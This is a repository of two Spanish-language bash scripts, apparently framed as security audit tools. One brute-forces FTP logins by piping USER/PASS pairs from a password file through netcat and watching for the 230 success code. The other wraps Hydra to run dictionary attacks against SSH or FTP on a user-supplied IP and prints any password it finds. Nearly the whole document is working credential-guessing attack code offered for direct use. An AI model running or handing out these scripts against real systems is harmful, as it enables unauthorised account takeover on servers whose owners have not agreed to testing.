├── auditoria.sh └── auto_hydra.sh /auditoria.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | read -p "Introduce la IP del servidor FTP objetivo: " ftp_server 4 | read -p "Introuce el usuario para acceder vía FTP: " ftp_user 5 | read -p "Introduce el nombre del fichero de texto donde tengas las contraseñas: " password_file 6 | 7 | passwords=$(cat "$password_file") 8 | 9 | for password in $passwords; do 10 | echo "Intentando contraseña: $password" 11 | output=$(echo -e "USER $ftp_user\r\nPASS $password\r\nQUIT\r\n" | nc -w 2 "$ftp_server" "21") 12 | 13 | if echo "$output" | grep -q "230"; then 14 | echo "Contraseña correcta: $password" 15 | echo "Contraseña correcta: $password" 16 | exit 0 17 | fi 18 | done 19 | 20 | echo "No se encontró una contraseña válida" 21 | echo "No se encontró una contraseña válida" 22 | exit 1 23 | -------------------------------------------------------------------------------- /auto_hydra.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | verde='\033[0;32m' 4 | rojo='\033[0;31m' 5 | sin_color='\033[0m' 6 | 7 | # Configuración 8 | read -p "Por favor, ingresa la IP objetivo: " target 9 | read -p "Ingresa el usuario: " user # Nombre de usuario 10 | read -p "Ingresa el diccionario: " diccionario 11 | 12 | # Comprobación de dependencias 13 | if ! command -v hydra &> /dev/null; then 14 | echo "Hydra no está instalado. Instálalo con sudo apt-get install hydra" && exit 15 | else 16 | echo "Hydra está instalado" 17 | fi 18 | 19 | # Comprobación de archivo de contraseñas 20 | if [ ! -f "$diccionario" ]; then 21 | echo -e "${rojo}El diccionario de contraseñas '$diccionario' no existe, debes ponerlo dentro del directorio actual${sin_color}" 22 | exit 23 | fi 24 | 25 | ssh_attack() { 26 | # Inicio del ataque de fuerza bruta 27 | echo -e "${verde}Iniciando auditoría de seguridad por SSH en $target...${sin_color}" 28 | sleep 3 29 | 30 | output=$(hydra -l "$user" -P "$diccionario" ssh://"$target" -t 4 -vV 2>/dev/null) 31 | 32 | # Comprobación del resultado 33 | if echo "$output" | grep -qi "login:\|password:"; then 34 | password=$(echo "$output" | grep -oP "password: \K.*") 35 | echo -e "${verde}Contraseña encontrada, es:${sin_color} $password" 36 | exit 0 37 | else 38 | echo -e "${rojo}No se encontró ninguna contraseña válida en el archivo${sin_color}" 39 | exit 0 40 | fi 41 | } 42 | 43 | ftp_attack() { 44 | # Inicio del ataque de fuerza bruta 45 | echo -e "${verde}Iniciando auditoría de seguridad por FTP en $target...${sin_color}" 46 | sleep 3 47 | 48 | output=$(hydra -l "$user" -P "$diccionario" ftp://"$target" -t 4 -vV 2>&1) 49 | 50 | # Comprobación del resultado 51 | if echo "$output" | grep -qi "login:\|password:"; then 52 | password=$(echo "$output" | grep -oP "password: \K.*") 53 | echo -e "${verde}Contraseña encontrada, es:${sin_color} $password" 54 | exit 0 55 | else 56 | echo -e "${rojo}No se encontró ninguna contraseña válida en el archivo${sin_color}" 57 | exit 0 58 | fi 59 | } 60 | 61 | read -p "Elige si quieres hacer el ataque por SSH o por FTP (Escribe SSH o FTP): " eleccion 62 | 63 | if [ "$eleccion" == "SSH" ]; then 64 | ssh_attack 65 | elif [ "$eleccion" == "FTP" ]; then 66 | ftp_attack 67 | else 68 | echo -e "${rojo}Debes escribir FTP o SSH ${sin_color}" 69 | exit 0 70 | fi 71 | --------------------------------------------------------------------------------